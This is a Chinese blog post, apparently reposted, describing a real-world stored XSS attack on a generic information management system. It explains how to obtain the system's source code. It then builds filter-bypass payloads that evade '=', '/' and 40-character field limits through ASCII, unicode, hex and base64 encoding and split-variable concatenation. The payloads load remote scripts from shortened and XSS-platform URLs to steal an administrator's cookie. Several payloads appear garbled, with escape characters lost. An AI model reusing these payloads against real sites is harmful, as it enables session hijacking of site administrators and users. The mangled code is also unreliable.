绕过某通用信息管理系统实现XSS

绕过某通用信息管理系统实现XSS

这篇文章将为大家详细讲解有关绕过某通用信息管理系统实现XSS，文章内容质量较高，因此小编分享给大家做个参考，希望大家阅读完这篇文章后对相关知识有一定的了解。

序言

实战渗透某站点时遇到的，经过几天研究最终成功绕过限制并打到管理员cookie，特此记录下备忘。将一些琐碎的trick和知识点进行了有机结合与综合实践，希望本文能对读者有所帮助，若有谬误，还请指正。

准备工作

首先看看站点，事先测过了SQL等漏洞，这里只测试XSS。

先尝试填充一些正常数据以判断是否会回显payload，经过测试，该站点提交信息会直接跳转回首页，无法查看payload解析执行情况。

注意：测试xss时往往不要一上来就怼<script>/:..等危险字符，有暴露渗透行为的风险且难以控制页面显示情况。

看不到回显难道就要盲打嘛？

这里提供一个思路：尝试获取该系统的源码并本地搭建进行测试。

好的，既然思路明确了，我们就尝试去获取该系统的源码。

1. 扫描敏感目录及文件，查看是否存在.git / .svn等代码工程文件，如果存在的话，是  可以直接通过该敏感文件还原出系统源码的。

相关工具:https://github.com/lijiejie/GitHack

Seay-svn 还原工具，大家可以自行下载

1. 从源码本身着手，寻找版权相关信息，之后去网上寻找并下载源码。

渗透该站时便使用了方法2，尝试访问后台时网页便爆出了我们想要的信息。

搜索相关源码并下载，成功在本地搭建。

好了，这样我们就可以放心测试xss了。

好戏开演

准备好payload:

<script src="http://x.co/qwq"></script>

这里推荐一个网站缩短服务：

x.co

访问设置url即可

要是有更短的网址缩短服务可以留言分享下，毕竟在测试xss中有时仅仅缩短一个字符便能决定渗透成功与否。

提交payload后我们到后台查看效果。

对比一下:

<script src="http://x.co/qwq"></script><script src"http:  x.co  qwq"></script>

可以发现= 与url中的‘/’被过滤掉

并且页面解析了我们的<script>标签

这里有个技巧：

使用chrome等浏览器的开发者工具查看源代码时，如果标签是彩色的，说明被解析了，如果是黑色的，则标签已被转义而不是解析。

那么我们便来考虑如何绕过限制。

1. 使用其他不包含= / 的标签进行xss

2. 编码绕过

先从思路1入手：

”=”符合常见于属性处，而绝大多数xsspayload所运用的便是标签的属性，想找到一个不使用”=”的标签并不容易。

但是还是存在几个特例的

<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,46,99,111,47,120,105,72,118,62,60,47,115,99,114,105,112,116,62));</script>        ascii编码绕过<script>eval(Dec('203041263543203','2549'));</script><STYLE>@import'javascript:alert("X3SS")';</STYLE>.....

其实这里就已经结合了编码绕过的思路，故不再赘述编码绕过

我们这里使用第一个payload,该payload完美的绕过了“=”与“/”的限制，因为特殊符号全被编码成了对应的ascii码

提交payload,到后台查看效果

显然，我们的payload执行成功。

你以为这样就完了吗？？

我们现在去目标站测试下

再看看payload的长度

所以好戏才刚刚开始啊…

也许有读者会问为什么同样的payload却遇到了限制呢？

这点可以在管理后台获得解答。

说明目标站的数据项做了长度限制。经过测试，目标站所有的数据项长度都被限制到了40个字符，那么我们来考虑绕过。

这里提供一种巧妙的思路：将payload分割起来并储存在相应的变量中，拼接变量后执行。

所用的payload一般为：

<script>z='document.'</script>  <script>z=z+'write("'</script>  <script>z=z+'<script'</script>  <script>z=z+' src=ht'</script>  <script>z=z+'tp://xx'</script>  <script>z=z+'x.shell'</script>  <script>z=z+'.net/1.'</script>  <script>z=z+'js></sc'</script>  <script>z=z+'ript>")'</script>  <script>eval_r(z)</script>

注：此payload要求所有字符注入进同一页面。

思路确定了，但是对于目标系统来说，该如何绕过’=’与’/’的限制呢？

之前提过，使用编码绕过特殊字符是一座较为有效的思路，那么我们便考虑将分割注入与编码这两种思路相结合。

补充知识：

Unicode编码绕过

<img src="x" onerror="&amp#97;&amp#108;&amp#101;&amp#114;&amp#116;&amp#40;&amp#34;&amp#120;&amp#115;&amp#115;&amp#34;&amp#41;&amp#59;"><img src="x" onerror="eval('u0061u006cu0065u0072u0074u0028u0022u0078u0073u0073u0022u0029u003b')">

url编码绕过

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii码绕过

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过

<imgsrc=xonerror=eval('x61x6cx65x72x74x28x27x78x73x73x27x29')>

八进制

<imgsrc=x onerror=alert('170163163')>

base64绕过

<imgsrc="x"onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"><iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

通过观察我们可以发现，url编码，ascii编码，base64编码后的字符在执行时需要相应函数或方法进行解码，无疑增加了payload的长度，反而在整体长度有限制的情况下不利于执行。

那么有没有一种可被直接解析并且编码后长度适中的编码方式呢？

有！

hex编码8进制unicode编码！

以unicode编码为例(原理与hex,8进制大同小异，有兴趣的读者可以自行测试)

我们先将’=’替换掉

<script>eval(zu003d'document.')</script><script>eval(zu003dz+'write("')</script><script>eval(zu003dz+'<script')</script><script>eval(zu003dz+'src=ht')</script><script>eval(zu003dz+'tp://xx')</script><script>eval(zu003dz+'x.shell')</script><script>eval(zu003dz+'.net/1.')</script><script>eval(zu003dz+'js></sc')</script><script>eval(zu003dz+'ript>")')</script><script>eval_r(z)</script>

注：

1. 使用unicode,hex,8进制等编码时需要用到eval()函数

2. 其实这里的payload并不可用，还需要经过处理，只是为了展现思路历程

下一步处理一些细节：

1. eval内的引号需要转义

2. 进一步的缩短payload

请大家思考：

只用一个变量z进行存储，在之后的每一步中拼接字符串是否为最优的方法？

个人认为，在总长度允许的情况下，可以将不同的payload存储在不同的变量中，

例如：

<script>eval('au003d'docu'')</script><script>eval('bu003d'ment'')</script><script>eval('cu003d'.wri'')</script><script>eval('du003d'te("'')</script><script>eval('eu003d'<scr'')</script>

这样便可以省去”z+”这两个字符

最后进行拼接

<script>eval('zu003da+b+c+d+e')</script>

拼接字符时只是单纯的变量加减，并不需要转义等复杂操作增添新的字符，payload的长度还在可以接受的范围内。

如果读者对整个过程存在疑问，推荐自己写一个过滤掉“=”与url中“/”的环境进行测试，能帮助你更好的理解本文。

贴一下最终的payload:

<script>eval('au003d'docu'')</script><script>eval('bu003d'ment'')</script><script>eval('cu003d'.wri'')</script><script>eval('du003d'te("'')</script><script>eval('eu003d'<scr'')</script><script>eval('fu003d'ipt'')</script><script>eval('gu003d'src'')</script><script>eval('px3d'x3d'')</script><script>eval('hu003d'http'')</script><script>eval('iu003d'://x'')</script><script>eval('ju003d'.co/'')</script><script>eval('ku003d'6nx2'')</script><script>eval('lu003d'r></'')</script><script>eval('mu003d'scri'')</script><script>eval('nu003d'pt>"'')</script><script>eval('ou003d')'')</script><script>eval('zx3da+b+c+d+e')</script><script>eval('zx3dz+f+g+p+h')</script><script>eval('zx3dz+i+j+k+l')</script><script>eval('zx3dz+m+n+o')</script><script>eval(eval('z'))</script>

你以为这样就完了吗？不！还没完！

我们提交下该payload

为什么会报错某些变量没有被定义呢？

我们的payload在本地chrome测试是完美成功的啊

不应该存在语法上的错误啊

这就要讲到另一个知识点了：

原来JS引擎并非一行行去分析和执行程序，而是一段一段的执行(如3),而且在同一段程序的分析执行中，定义式的函数语句会被优先执行。函数定义执行完以后才会按顺序执行其他语句代码。

在经过预处理后，js引擎才会从上到下依次执行。

想想我们的注入顺序？

<script>eval('au003d'docu'')</script><script>eval('bu003d'ment'')</script><script>eval('cu003d'.wri'')</script><script>eval('du003d'te("'')</script><script>eval('eu003d'<scr'')</script><script>eval('fu003d'ipt'')</script><script>eval('gu003d'src'')</script><script>eval('px3d'x3d'')</script><script>eval('hu003d'http'')</script><script>eval('iu003d'://x'')</script><script>eval('ju003d'.co/'')</script><script>eval('ku003d'6nx2'')</script><script>eval('lu003d'r></'')</script><script>eval('mu003d'scri'')</script><script>eval('nu003d'pt>"'')</script><script>eval('ou003d')'')</script><script>eval('zx3da+b+c+d+e')</script><script>eval('zx3dz+f+g+p+h')</script><script>eval('zx3dz+i+j+k+l')</script><script>eval('zx3dz+m+n+o')</script><script>eval(eval('z'))</script>

最终执行变量的语句却放在了页面上端，js引擎在执行时自然会报错。

所以把之前的payload倒序注入即可。(相信我这真的是最后一次了)

成功打到cookie.

关于绕过某通用信息管理系统实现XSS就分享到这里了，希望以上内容可以对大家有一定的帮助，可以学到更多知识。如果觉得文章不错，可以把它分享出去让更多的人看到。

[微信提示：高防服务器能助您降低 IT 成本，提升运维效率，使您更专注于核心业务创新。

[图文来源于网络，不代表本站立场，如有侵权，请联系高防服务器网删除]
[